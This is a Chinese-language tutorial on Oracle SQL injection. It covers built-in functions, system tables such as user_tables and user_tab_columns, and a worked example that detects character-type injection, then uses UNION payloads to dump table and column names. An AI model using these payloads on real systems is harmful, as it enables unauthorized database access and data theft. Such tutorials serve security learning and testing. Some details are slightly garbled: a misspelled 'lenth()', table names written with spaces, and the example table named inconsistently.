相关的函数和表
Oracle 的 SQL 注入和 MySQL 是一样的,不同在于数据库信息所在的表和一些函数不一样。
内置函数
函数 | 功能 |
---|---|
lenth() | 返回字符串的长度 |
count() | 返回在给定的选择中被选的行数 |
ascii() | 表示将字符转换为 ASCII 码 |
substr() | 返回值为源字符串中指定起始位置和长度的字符串 |
chr() | 表示将 ASCII 码转换为字符 |
内置数据表
Oracle 查询需要带上表名,如“select * from xxx”。Oracle 有一个万能的表——dual 表,Oracle 保证 dual 里面永远只有一条记录。
内置数据表 | 说明 |
---|---|
dual 表 | 是一个虚拟的表,用来构成 select 的语法规则 |
user tables 表 | 该表的 table_name 列存放着当前数据库的所有表 |
user tab columns 表 | 该表的 column_name 存放着表的所有列 |
单行子查询返回多行需使用 where rownum = 1 来规范,Oracle 数据库从数据文件或缓冲区中读取数据的顺序。
内置语句
获取数据
获取所有用户名:
SQL> select username from all_users;
获取数据库版本:
SQL> select banner from sys.v_$version;
获取当前登录的用户:
SQL> select user from dual;
字符串拼接
使用 || 来进行字符串的拼接,当 || 使用失败时,可以使用 || 的 URL 编码 %7C%7C,下面的 sql 语句可以拼接出字符串“admin”。
SQL> select 'a'||'d'||'m'||'i'||'n'from dual;
下面的 sql 语句同理。
SQL> select chr(97)||chr(100)||chr(109)||chr(105)||chr(110) from dual;
使用 sys.stragg() 函数来在单行中获取所有行信息:
SQL> select username from all_users;
下面的语句也能使多行结果以一行显示,并用(--'隔开)
SQL> select sys.stragg(username||'--')from all_users;
Oracle 注入样例
判断注入类型
首先判断注入点,suser 和 sname 都可能可以注入。
使用单引号闭合,网页返回报错信息。
构造恒真条件,数据库返回正常的数据,说明此处存在单引号闭合的字符型注入。
判断列数
判断表有几列,使用 ORDER BY 子句进行一个排序,看一下对几列有效。
判断哪些列是我们能用的,令参数的查询不到结果,然后使用 UNION 进行组合查询。
获取数据库信息
接下来开始爆表名,在 user_tables 进行查询,使用 sys.stragg() 函数合并查询结果。
' union select (select sys.stragg(table_name) from user_tables),null,null from dual --
接下来爆 cms_users 表的字段,在 user_tab_columns 爆出来,注意使用 sys.stragg() 函数时“||”要转码一下。
' union select (select sys.stragg(column_name%7c%7c'--') from user_tab_columns where table_name='T_USER'),null,null from dual --